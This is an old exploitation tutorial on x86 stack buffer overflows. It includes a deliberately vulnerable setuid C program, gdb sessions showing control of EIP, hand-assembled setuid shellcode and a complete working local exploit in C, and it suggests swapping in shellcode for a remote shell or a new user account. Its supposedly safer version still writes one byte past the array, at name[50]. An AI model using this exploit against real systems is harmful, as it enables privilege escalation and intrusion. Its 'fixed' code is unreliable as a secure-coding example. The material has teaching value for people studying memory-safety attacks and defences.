1

Exploiting x86 stack based buffer overflows

by c0ntex | c0ntexb@gmail.com

www.open-security.org

-----------------------------------------------------

This document shows how to abuse destroyed NULL terminators to an attackers advantage by finding

and controlling functional execution of calls that fail to do any type of safe bounds checking.

This is an old subject but the methods used in this paper are still valid for exploitation of

applications today, this example is based on a real situation I found in mplayer - (05/2004)

First, let us find a bug to try. Copy vuln.c into an empty directory and run the following command:

/*

vuln.c

*/

#include

#define MAX_SIZE 50

void error(void);

int main(int argc, char **argv);

void

error(void)

{

fprintf(stderr, "An example buffer overflow\n");

exit(1);

}

int

main(int argc, char **argv)

{

char name[MAX_SIZE];

if(argc < 2) {

fprintf(stderr, "Usage: %s name\n", argv[0]);

error();

}

strcpy(name, argv[1]);

printf("Hello %s\n", name);

return 0;

}

[c0ntex@darkside tmp]$ for files in `find . -type f`; do egrep -Hn 'strcpy\('

$files; done

./vuln.c:24: strcpy(name, argv[1]);

[c0ntex@darkside tmp]$

Hey, strcpy is used, I wonder if name, which is the first arguement passed to strcpy is correctly

terminated?? From the man page, strcpy requires that the destination address must be large enough

to hold the string being passed as the second arguement. I wonder what happens if it's not?

STRCPY(3) Linux ProgrammerГўs Manual STRCPY(3)

NAME

strcpy, strncpy Гў copy a string

SYNOPSIS

#include

char *strcpy(char *dest, const char *src);

char *strncpy(char *dest, const char *src, size_t n);

DESCRIPTION

The strcpy() function copies the string pointed to by src (including

the terminating Гў\0Гў character) to the array pointed to by dest. The

strings may not overlap, and the destination string dest must be large

enough to receive the copy.

Lets find out and compile it up..

[c0ntex@darkside tmp]$ gcc -o vuln vuln.c

[c0ntex@darkside tmp]$ su - root -c "chmod 4755 vuln"

[c0ntex@darkside tmp]$ ./vuln c0ntex

Hello c0ntex

[c0ntex@darkside tmp]$

Ok, the program work as required. The first arguement passed to vuln is a NULL terminated string

containing my nick, c0ntex, which is then stored in the name[] array. This is correct usage for

what the programmer *believed* to be required. However by abusing the fact that the character array

uses strcpy, we can perhaps be a little more mischevious, overwrite the NULL terminating byte and

cause a stack overflow.

Again, from the strcpy() man page:

"BUGS

If the destination string of a strcpy() is not large enough (that is,

if the programmer was stupid/lazy, and failed to check the size before

copying) then anything might happen. Overflowing fixed length strings

is a favourite cracker technique."

Well, in our example there is 50 bytes to store user input. This is how vuln looks on the stack when

run with a string of less or equal to 49 + 1 NULL characters:

[c0ntex@darkside tmp]$ ./vuln c0ntex

Hello c0ntex

[c0ntex@darkside tmp]$

--------------------

| name[c0ntex]['\0] | v - Grows down

--------------------

| ... ... ... ... |

--------------------

| EBP 0xbffffa88 |

--------------------

| EIP 0x8048470 |

--------------------

And now lets see what happens when more than BUFFSIZE characters are passed, overwriting the NULL

terminating byte. We will try 78 chartacters, it will become clear why soon.

[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 78'`

Hello

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

[c0ntex@darkside tmp]$

------------------

| name[AAAAA | v - Grows down <--------- This is the area where name[AAAAAAAAAAAAA..] is

------------------ stored, since name[] can only hold 49 bytes + 1

| ... ... ... ... | NULL byte safely, passing more data will cause

------------------- undefined behaviour. In this case, it smashes the

| EBP=AAAA | stack, overwriting pointers for EBP and EIP.

------------------

| EIP=XXAA | <----- ( XX=random vaule) CPU tries to execute XXAA and encounters a SIGSEGV.

------------------

Ok, it's all gone wrong here, the code has tried to access memory that it should not have, which has in

turn caused a segmentation fault. Reviewing the problem in gdb:

[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31817

Core was generated by `./vuln

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/i686/libc.so.6...done.

Loaded symbols for /lib/i686/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x42004141 in _r_debug () from /lib/i686/libc.so.6

(gdb) i r

eax 0x0 0

ecx 0x1 1

edx 0x55 85

ebx 0x4212a2d0 1108517584

esp 0xbffffae0 0xbffffae0

ebp 0x41414141 0x41414141 <----------------- HERE

esi 0x40012020 1073815584

edi 0xbffffb24 -1073743068

eip 0x42004141 0x42004141 <----------------- HERE

eflags 0x10286 66182

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

The CPU tried to execute the instructions at address 0x42004141. This probably means that the input buffer

of AAAA.. has overwritten EIP by 2 bytes. Remember, the buffer was only 50 bytes but we stuffed in 78!! The

CPU has then tried to execute the invalid address and crashed. By adding 2 extra A's, this can be verified:

[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 80'`

Hello

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31820

Core was generated by `./vuln

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/i686/libc.so.6...done.

Loaded symbols for /lib/i686/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 0x41414141 in ?? ()

(gdb) i r

eax 0x0 0

ecx 0x1 1

edx 0x57 87

ebx 0x4212a2d0 1108517584

esp 0xbffffae0 0xbffffae0

ebp 0x41414141 0x41414141 <----------------- HERE

esi 0x40012020 1073815584

edi 0xbffffb24 -1073743068

eip 0x41414141 0x41414141 <----------------- Bingo, we have owned it.

eflags 0x10286 66182

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb) where

#0 0x41414141 in ?? ()

Cannot access memory at address 0x41414141

(gdb) info frame 0

Stack frame at 0x41414141:

eip = 0x41414141; saved eip Cannot access memory at address 0x41414145

(gdb) b main

(gdb) r

Starting program: /home/iralt0c/vuln `perl -e 'print "A" x 80'`

Breakpoint 1, main (argc=2, argv=0xbfffe754) at vuln.c:22

22 if(argc < 2) {

(gdb) b strcpy

Breakpoint 2 at 0x42079dd4

(gdb) n

27 strcpy(name, argv[1]);

(gdb) x/x argv[1]

0xbffffb07: 0x41414141

(gdb)

0xbffffb0b: 0x41414141

(gdb) # as we can see, 0x41414141 is our user input

Breakpoint 2, 0x42079dd4 in strcpy () from /lib/tls/libc.so.6

(gdb) where

#0 0x42079dd4 in strcpy () from /lib/tls/libc.so.6

#1 0x08048470 in main (argc=2, argv=0xbfffe754) at vuln.c:27

#2 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

(gdb) list

27 strcpy(name, argv[1]);

28

29 printf("Hello %s\n", name);

30

31 return 0;

32 }

33

34

35

(gdb) n

Single stepping until exit from function strcpy, which has no line number information.

main (argc=0, argv=0xbfffe754) at vuln.c:29

29 printf("Hello %s\n", name);

(gdb) x/30x 0xbffffaf4

0xbffffaf4: 0x6d6f682f 0x72692f65 0x30746c61 0x75762f63

0xbffffb04: 0x41006e6c 0x41414141 0x41414141 0x41414141

0xbffffb14: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb24: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb34: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb44: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffb54: 0x00414141 0x5f485353 0x4e454741 0x49505f54

0xbffffb64: 0x38363d44 0x4f480032

(gdb) s

Hello

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

31 return 0;

(gdb) x/50x name-10

0xbffff4b6: 0x003bbfff 0x5a380000 0x41414001 0x41414141

0xbffff4c6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff4d6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff4e6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff4f6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff506: 0x41414141 0x41414141 0x00004141 0xf5540000

0xbffff516: 0xf560bfff 0x582cbfff 0x00024001 0x83500000

0xbffff526: 0x00000804 0x83710000 0x84260804 0x00020804

0xbffff536: 0xf5540000 0x8490bfff 0x84c00804 0xc6600804

0xbffff546: 0xf54c4000 0x0000bfff 0x00020000 0xfaf40000

0xbffff556: 0xfb07bfff 0x0000bfff 0xfb580000 0xfb6abfff

0xbffff566: 0xfb7bbfff 0xfb86bfff 0xfb96bfff 0xfba4bfff

0xbffff576: 0xfbe0bfff 0xfbf2bfff

(gdb) quit

No NULL bytes!! Lets run vuln correctly and check the difference:

(gdb) r `perl -e 'print "A" x 40'`

... SNIP ...

(gdb) x/50 name-10

0xbffff4b6: 0x003bbfff 0x5a380000 0x41414001 0x41414141

0xbffff4c6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff4d6: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff4e6: 0xdd004141 0x82edbfff 0x0a140804 0xc6604213

0xbffff4f6: 0xdd384000 0x849abfff 0x0a140804 0x53604213

0xbffff506: 0xdd584001 0x5574bfff 0x00024201 0xdd840000

0xbffff516: 0xdd90bfff 0x582cbfff 0x00024001 0x83500000

0xbffff526: 0x00000804 0x83710000 0x84260804 0x00020804

0xbffff536: 0xdd840000 0x8490bfff 0x84c00804 0xc6600804

0xbffff546: 0xdd7c4000 0x0000bfff 0x00020000 0xfb1c0000

0xbffff556: 0xfb2fbfff 0x0000bfff 0xfb580000 0xfb6abfff

0xbffff566: 0xfb7bbfff 0xfb86bfff 0xfb96bfff 0xfba4bfff

0xbffff576: 0xfbe0bfff 0xfbf2bfff

(gdb)

Run 1: No NULL byte in the 50 byte boundary, overflow occurs.

Run 2: NULL byte in the 50 byte boundary at 0xbffff4e6: 0xdd004141

HERE ---^^

I hope this helps clarify whats happened. The NULL byte has been overwritten and 41414141 has started

writing past the 50 byte boundary, stomping further down the memory slab, modifying the EIP pointer to

execute code at an address we control / supply. Since 0x41414141 is not mapped memory, the program will

crash.

char **argv NULL terminates as default. Since the programmer did not add one when using strcpy, it helps

him out through `chance` on the occasions where a user only supplies < 49 characters as an arguement.

Onward with exploitation.

There is a problem that needs solved, the attacker needs to know where the buffer is in memory, however

this is simple. Lets look back at gdb, all that has to be done is to check offsets from $esp.

(gdb) x/50x 0xbffffae0-100

0xbffffa7c: 0x0804846e 0x080484d0 0xbffffa90 0x00000003

0xbffffa8c: 0x400126e0 0x41414141 0x41414141 0x41414141

0xbffffa9c: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffadc: 0x41414141 0x00000000 0xbffffb24 0xbffffb30

0xbffffaec: 0x400124b8 0x00000002 0x08048350 0x00000000

0xbffffafc: 0x08048371 0x08048410 0x00000002 0xbffffb24

0xbffffb0c: 0x080482d8 0x0804849c 0x4000a950 0xbffffb1c

0xbffffb1c: 0x4001020c 0x00000002 0xbffffc0d 0xbffffc14

0xbffffb2c: 0x00000000 0xbffffc65 0xbffffc77 0xbffffc87

0xbffffb3c: 0xbffffc92 0xbffffca0

(gdb) x/x $esp-70

0xbffffa9a: 0x41414141

It is clear to see where our buffer is, 0x41414141. All that is now required to exploit this is to fill

this buffer with some opcodes and have the address that overwrites EIP pointer, point back into the opcodes.

The address at offset $esp-70 becomes the return address for the exploit.

Lets quickly whip up opcodes to use for the testing, which will be placed in a string on the command line:

[c0ntex@darkside tmp]$ cat > opcode.S << EOF

> .globl _start

> _start:

> xorl %eax, %eax

> xorl %ebx, %ebx

> movb $0x17, %al

> int $0x80

> xorl %eax, %eax

> xorl %ebx, %ebx

> incb %al

> int $0x80

> EOF

[c0ntex@darkside tmp]$ as -o opcode.o opcode.S

[c0ntex@darkside tmp]$ ld -s -o opcode opcode.o

[c0ntex@darkside tmp]$ strace ./opcode

execve("./opcode", ["./opcode"], [/* 29 vars */]) = 0

setuid(0) = -1 EPERM (Operation not permitted)

_exit(0) = ?

[c0ntex@darkside tmp]$ objdump -d ./opcode

opcode: file format elf32-i386

Disassembly of section .text:

08048074 <.text>:

8048074: 31 c0 xor %eax,%eax

8048076: 31 db xor %ebx,%ebx

8048078: b0 17 mov $0x17,%al

804807a: cd 80 int $0x80

804807c: 31 c0 xor %eax,%eax

804807e: 31 db xor %ebx,%ebx

8048080: fe c0 inc %al

8048082: cd 80 int $0x80

[c0ntex@darkside tmp]$

We get 80 bytes to play with, due to the 50 byte buffer for name[] and extra padding that gcc adds. So

the command line arguement we use should look like this:

-> ./vuln `perl -e 'printf "LOL" x 20'` \

-> `printf "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \

-> `printf "\xa9\xfa\xff\xbf"`

A) Places 60 bytes into the buffer as NOPs (3 x 20)

B) Places shellcode after the NOPS(16 bytes)

C) Places the return address over EIP.

Which will create a buffer for name[] similar to this:

[<----------------------------72 Byte Buffer---------------->][EBP][EIP](+EBP+EIP=80 Bytes)

[ NOPS NOPS NOPS NOPS NOPS NOPS NOPS ] [ SHELLCODE ] [ RET ]

Lets try it out!

[c0ntex@darkside tmp]$ strace ./vuln `perl -e 'printf "LOL" x 20'``printf

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \

> `printf "\xa9\xfa\xff\xbf"`

execve("./vuln", ["./vuln", "LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1ГЌ1?????ГЌ????"],

[/* 21 vars */]) = 0

uname({sys="Linux", node="darkside", ...}) = 0

brk(0) = 0x80495f4

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or

directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0

old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000

close(3) = 0

open("/lib/i686/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =

1024

fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0

old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =

0x42000000

mprotect(0x42126000, 35620, PROT_NONE) = 0

old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,

0x126000) = 0x42126000

old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000

close(3) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x4001e000

munmap(0x40013000, 44200) = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x40013000

write(1, "Hello LOLLOLLOLLOLLOLLOLLOLLOLLO"..., 87Hello

LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1ГЌ1?????ГЌ????

) = 87

setuid(0) = -1 EPERM (Operation not permitted)

_exit(0) = ?

[c0ntex@darkside tmp]$

Bingo, we made the application execute setuid and exit, that means this application has been forced to

execute code that we can control. Lets now build and test the final exploit for vuln.c:

/*

vuln_exploit.c

*/

#include

#include

#include

#define NOP 0x41

/* Nops, doesn't have to be 0x90 */

#define RETADDR 0xbffff9e8

/* Address to place in EIP, offset from ESP */

#define VULN "./vuln"

/* Vulnerable binary */

#define BUFFER 81

/* Buffer size + 1 NULL byte */

void die(void);

char buildegg(char *payload);

int main(int argc, char **argv);

/* Inform of our functions */

static char opcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";

/* Shellcode. setuid(0), and exit(0) */

void

die(void)

{

fprintf(stderr, "Usage: vuln_exploit.c \n");

_exit(1);

}

char

buildegg(char *payload)

{

int i;

long retaddr;

char *load = (char *) &opcode;

retaddr = RETADDR;

memset(payload, '\0', sizeof(payload));

for(i = 76; i < BUFFER; i += 4)

*(long *)&payload[i] = retaddr;

/* Fill 4 bytes with return address */

for(i = 0; i < BUFFER - strlen(opcode)-5; i++)

*(payload + i) = NOP;

/* Fill everything under 76 - shellcode size bytes with NOPs */

memcpy(payload + i, load, strlen(load));

/* Copy shellcode after the NOPS */

payload[81] = 0x00;

/* NULL terminate the buffer */

return *payload;

}

int

main(int argc, char **argv)

{

char payload[BUFFER];

if(argc < 2) {

die();

}

fprintf (stdout, "\nLocal exploit for vuln\n");

buildegg(payload);

execl("./vuln", "vuln" , payload, NULL);

return 0;

}

[c0ntex@darkside tmp]$ make vuln_exploit

cc vuln_exploit.c -o vuln_exploit

[c0ntex@darkside tmp]$ ./vuln_exploit 0

Local exploit for vuln

Hello

????????????????????????????????????????????????????????1ГЌ1?????ГЌ?????????

[c0ntex@darkside tmp]$

This looks good, we had no segmentation fault, lets take a closer look using strace:

[c0ntex@darkside tmp]$ strace ./vuln_exploit 0

execve("./vuln_exploit", ["./vuln_exploit", "0"], [/* 26 vars */]) = 0

uname({sys="Linux", node="darkside", ...}) = 0

brk(0) = 0x8049800

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or

directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0

old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000

close(3) = 0

open("/lib/i686/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =

1024

fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0

old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =

0x42000000

mprotect(0x42126000, 35620, PROT_NONE) = 0

old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,

0x126000) = 0x42126000

old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000

close(3) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0x4001e000

munmap(0x40013000, 44200) = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0

..

..

write(1, "Hello \220\220\220\220\220\220\220\220\220\220\220\220"..., 88Hello

????????????????????????????????????????????????????????1ГЌ1?????ГЌ?????????

) = 88

setuid(0) = 0

_exit(0) = ?

[c0ntex@darkside tmp]$

There, we have successfully caused vuln to execute setuid() and exit(). We can now change the opcode

and have vuln execute anything we like, perhaps spawning a remote shell, adding a new user accound

and setting a password. There is no real limit to what can be executed, providing you have enough

imagination.

A better version of vuln.c is attached below, which tries to validate data.

/*

not_so_vuln.c

*/

#include

#include

#define MAX_SIZE 50

void error(void);

int main(int argc, char **argv);

void

error(void)

{

fprintf(stderr, "Usage: ./vuln \n");

exit(1);

}

int

main(int argc, char **argv)

{

char name[MAX_SIZE];

char *input;

if(argc < 2) {

error();

}

if((input = argv[1]) == NULL) {

printf("Hmm, name was NULL, try again..\n");

error();

}

if(strlen(input) > MAX_SIZE) {

printf("Name too long, sorry\n");

error();

}

if(strncpy(name, input, MAX_SIZE) == NULL) {

printf("Strncpy error\n");

}

name[50] = 0x00;

printf("Hello %s\n", name);

return 0;

}

EOF


Ведете ли вы блог?

Да
Нет
Планирую


Результаты опроса

Новостной блок